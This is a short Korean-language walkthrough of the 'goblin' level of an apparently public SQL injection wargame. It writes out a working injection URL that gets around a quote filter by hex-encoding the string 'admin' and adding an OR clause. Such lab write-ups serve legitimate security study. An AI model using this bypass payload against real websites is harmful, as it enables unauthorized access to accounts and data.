[LOS] goblin

https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=1

no=1을 입력해보자.

no=1은 guest 계정이다.

소스 코드를 다시보면 '(작은따옴표), "(큰따옴표), `(역따옴표)를 막아놨다.

https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=1'

를 입력하게 되면 아래와 같은 문구가 뜬다.

그래도 %는 막아놓지 않았기 때문에 URL 인코딩을 이용하면 된다. 공백은 %20이다.

또한 id 값을 넣어주려면 '(작은따옴표)가 필요하지만 hex 값으로 변환해서 넣어주면 된다.

https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=0%20or%20id=0x61646d696e

no에는 1이아닌 값을 넣어주고 %20으로 공백을 만들고 or 넣고 다시 %20으로 공백넣고 id=헥스값을 넣어주면 된다.